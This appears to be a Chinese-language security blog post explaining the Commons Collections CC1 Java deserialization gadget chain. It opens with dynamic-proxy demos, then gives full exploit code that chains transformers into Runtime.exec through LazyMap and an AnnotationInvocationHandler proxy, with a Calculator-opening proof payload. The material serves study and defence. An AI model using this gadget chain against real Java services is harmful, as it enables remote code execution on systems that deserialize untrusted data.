首页 > 编程语言 >[JAVA反序列化]Javacc链1分析

[JAVA反序列化]Javacc链1分析

时间:2022-12-14 20:32:17浏览次数:64  
标签:Map JAVA Object Javacc Class flag new 序列化 class


文章目录

  • ​​写在前面​​
  • ​​动态代理​​
  • ​​简单介绍​​
  • ​​动态代理的实现​​
  • ​​JavaCC链1分析​​
  • ​​参考文章​​

写在前面

这几天算是好好一边审计PHP的一些CMS一边啃Java的代码,终于能看懂CC链1的构造流程了

动态代理

简单介绍

在JavaCC链1的构造中,动态代理起了很关键的作用,这里来进行简单介绍,Java标准库提供了动态代理的机制,其可以在运行期动态创建​​interface​​​的实例,直接从demo来理解
首先我们来个通常写代码的方式
我们先来一个一个接口,本CTF狗来个Flag吧

interface flag {
void getFlag();
}

接下来实现这个接口

class giveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}

来测试一波,完整组合

import java.lang.String;
public class demo1 {

public static void main(String[] args) throws Exception {
GiveFlag giveFlag = new GiveFlag();
giveFlag.getFlag();
}
}


interface flag {
void getFlag();
}

class GiveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}

动态代理的实现

我们通过动态代理来做一个劫持玩玩,不玩最简单的

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.String;
import java.lang.reflect.Proxy;

public class demo1 {

public static void main(String[] args) throws Exception {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("getFlag")) {
System.out.println("就这?");
}
return null;
}
};
flag getFlag = (flag) Proxy.newProxyInstance(
GiveFlag.class.getClassLoader(),
new Class[] { flag.class },
handler);
getFlag.getFlag();
}
}


interface flag {
void getFlag();
}

class GiveFlag implements flag {
public void getFlag() {
System.out.println("Give you flag:flag{y4tacker}");
}
}

最后输出了​​就这?​

JavaCC链1分析

这个链子的流程是(来自ysoserial)

/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

首先给出这个链子的实现,来自P神大师傅!!!

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new String[]{"open /Applications/Calculator.app"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

首先触发点和之前很像,我们知道是通过对decorate修饰后的在添加新的元素的时候,可以执行一个回调;
Lazymap在其get方法当中执行​​​factory.transform​​​,在get找不到值的时候,会调用​​factory.transform​​去获取一个值

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

为了能调用这个方法,我们走AnnotationInvocationHandler中的invoke方法,在default分支

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

能看到上面​​Object var6 = this.memberValues.get(var4);​​​,因此要劫持内部调用就需要使用​​java.reflect.proxy​​​,上面已经说过了,如果我们把​​AnnotationInvocationHandler​​​做代理,那么在​​readObject​​​时,只要调用任意方法,就会进入​​AnnotationInvocationHandler​​​的​​invoke​​​方法,之后触发​​lazymap​​​的​​get​​​方法,而这个​​AnnotationInvocationHandler​​​实现了​​InvocationHandler​​,因此我们就更可以放心大胆的飞了!!

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);

在这以后对象里面的​​memberValues​​​就成功变成了我们的​​LazyMap​​​,
之前上一篇文章也说过,我们将transformers传入ChainedTransformer就实现了参数的传递(ChainedTransformer是实现了Transformer接⼝的⼀个类,它的作⽤是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
),之后用​​​LazyMap​​​的decorate包装,在触发lazymap的get方法后执行整个“回调”过程,整个链子的思路就很清晰啦!
然而我们最终的proxyMap也并不能直接对其序列化,毕竟他也没有readobject不能操作了,因此我再用​​​sun.reflect.annotation.AnnotationInvocationHandler​​对其进行包装一波,完美实现!!!庆祝

标签:Map,JAVA,Object,Javacc,Class,flag,new,序列化,class
From: https://blog.51cto.com/u_15847702/5938367

相关文章

  • java.security.NoSuchAlgorithmException:Cannot find any provider supporting AES/C
    由于小程序开发的需求,需要在后台对微信接口返回的敏感信息加密数据进行解密,以便开发使用,但是,在解密时出现以下异常:java.security.NoSuchAlgorithmException:Cannotfindan......
  • 深入分析JavaWeb 25 -- 自定义标签开发案例和打包自定义标签库
    一、开发标签库案例1.1、开发防盗链标签1、编写标签处理器类:RefererTag.javapackageme.gacl.web.simpletag;importjava.io.IOException;importjavax.servlet.http.Ht......
  • java 常见基础题
    Java中==和equals和hashCode的区别基本数据类型的​​==​​比较的值相等.类的​​==​​​比较的内存的地址,即是否是同一个对象,在不覆盖​​equals​​​的情况下,同比较内......
  • Java中的抽象与封装
    封装形式封装是四个基本的OOP概念之一。其他三个是继承,多态和抽象。Java中的封装是一种将数据(变量)和作用于数据(方法)的代码包装为一个单元的机制。在封装中,一个类的变量将......
  • Java基础之变量
    变量变量为可以变化的量。java是一种强类型语言,每个变量都必须声明其类型。Java变量是程序中最基本的存储单位,其要素包括:变量名,变量类型和作用域。 数据类型变量名=......
  • 使用java 实现mqtt两种方式
    前言在开发MQTT时有两种方式一种是使用PahoJava原生库来完成,一种是使用springboot来完成。PahoJava库实现EclipsePahoJavaClient(opensnewwindow)是用Java编......
  • 16 Java内存模型与线程_Java内存模型
    目录1Java内存模型背景2主内存与工作内存3内存间交互及约束4volatile变量特性5原子性、可见性、有序性5.1原子性5.2可见性5.3有序性6先行发生原则7总结特别说明......
  • java Date和Timestamp类型的相互转换
    重要的概念:日期类和时间戳类都是用一个时间数值——日期相对于基准日期(1970年1月1日GMT时间(格林尼治时间)0时0分0秒)的时间间隔(以毫秒为单位)long类型来构造的通过Date对象......
  • 【Java】Spring Cache 缓存
    SpringCache一、Spring缓存抽象Spring从3.1开始定义了org.springframework.cache.Cache和org.springframework.cache.CacheManager接口来统一不同的缓存技术;并支......
  • Java: 在Excel中插入和提取图片
    在编辑Excel文档时,为了丰富文档内容或者更好地说明文档内容,有时我们会在单元格中插入图片。此外,整理文档内容时,也可以通过编程的方式将图片从Excel中提取出来。接下来我就将......